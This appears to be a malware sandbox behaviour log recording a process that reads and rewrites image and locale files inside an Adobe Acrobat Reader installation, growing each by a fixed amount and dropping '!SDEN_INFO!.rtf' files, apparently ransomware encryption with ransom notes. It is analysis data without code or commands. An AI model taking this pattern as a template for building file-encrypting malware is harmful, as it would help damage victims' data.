File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\bg_patterns_header.png, size = 703, size_out = 703	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\bg_patterns_header.png, size = 2119	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\cs-cz\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\cs-cz\ui-strings.js, size = 1070, size_out = 1070	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\cs-cz\ui-strings.js, size = 2486	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\fr-ma\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\fr-ma\ui-strings.js, size = 1078, size_out = 1078	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\fr-ma\ui-strings.js, size = 2494	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ro-ro\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ro-ro\ui-strings.js, size = 1074, size_out = 1074	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ro-ro\ui-strings.js, size = 2490	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\zh-tw\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\zh-tw\ui-strings.js, size = 1032, size_out = 1032	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\zh-tw\ui-strings.js, size = 2448	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\es-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\es-es\ui-strings.js, size = 1045, size_out = 1045	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\es-es\ui-strings.js, size = 2461	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\nb-no\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\nb-no\ui-strings.js, size = 1015, size_out = 1015	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\nb-no\ui-strings.js, size = 2431	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\tr-tr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\tr-tr\ui-strings.js, size = 1032, size_out = 1032	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\tr-tr\ui-strings.js, size = 2448	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\example_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\example_icons.png, size = 2432, size_out = 2432	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\example_icons.png, size = 3848	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\eu-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\eu-es\ui-strings.js, size = 4417, size_out = 4417	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\eu-es\ui-strings.js, size = 5833	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\nl-nl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\nl-nl\ui-strings.js, size = 4523, size_out = 4523	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\nl-nl\ui-strings.js, size = 5939	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ui-strings.js, size = 1204, size_out = 1204	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ui-strings.js, size = 2620	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\activate-more-tools.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\activate-more-tools.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\activate-more-tools.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\activate-more-tools.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-mobile.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\css\main-selector.css, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\css\!SDEN_INFO!.rtf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\css\!SDEN_INFO!.rtf, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\compare-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\compare-2x.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\compare-2x.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\compare-2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\compare-2x.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\find-text-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\find-text-2x.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\find-text-2x.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\fr-ma\!SDEN_INFO!.rtf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\fr-ma\!SDEN_INFO!.rtf, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\get-e-signatures-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\get-e-signatures-2x.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\get-e-signatures-2x.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\get-e-signatures-2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\get-e-signatures-2x.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\lets-get-started.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\lets-get-started.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\lets-get-started.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\lets-get-started.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\es-es\AppStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\es-es\AppStore_icon.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\es-es\AppStore_icon.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\es-es\AppStore_icon.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ko-kr\AppStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ko-kr\AppStore_icon.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ko-kr\AppStore_icon.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ko-kr\AppStore_icon.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ru-ru\PlayStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ru-ru\PlayStore_icon.svg, size = 6413, size_out = 6413	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ru-ru\PlayStore_icon.svg, size = 7829	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\multi-tab-file-view.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\multi-tab-file-view.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\multi-tab-file-view.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\multi-tab-file-view.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-es_es_2x.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-es_es_2x.gif, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-es_es_2x.gif, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-es_es_2x.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-es_es_2x.gif, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-es_es_2x.gif, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\reduced_mode.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\reduced_mode.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\reduced_mode.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\reduced_mode.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\tool-search.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\tool-search.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\tool-search.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\tool-search.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\cs-cz\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\cs-cz\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\cs-cz\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\cs-cz\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fr-ma\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fr-ma\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fr-ma\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fr-ma\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ro-ro\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ro-ro\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ro-ro\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ro-ro\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\zh-tw\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\zh-tw\ui-strings.js, size = 4096, size_out = 4096	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\lv_get.svg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\lv_get.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\lv_get.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\rhp_world_icon_hover_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\en-gb\!SDEN_INFO!.rtf, size = 552, size_out = 552	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\en-gb\!SDEN_INFO!.rtf, size = 1968	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\fi-fi\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\fi-fi\ui-strings.js, size = 1106, size_out = 1106	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\fi-fi\ui-strings.js, size = 2522	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\plugin.js, size = 917, size_out = 917	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\plugin.js, size = 2333	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\en-il\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\en-il\ui-strings.js, size = 903, size_out = 903	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\en-il\ui-strings.js, size = 2319	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ko-kr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ko-kr\ui-strings.js, size = 896, size_out = 896	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ko-kr\ui-strings.js, size = 2312	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\sv-se\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\sv-se\ui-strings.js, size = 912, size_out = 912	1	Fn Data
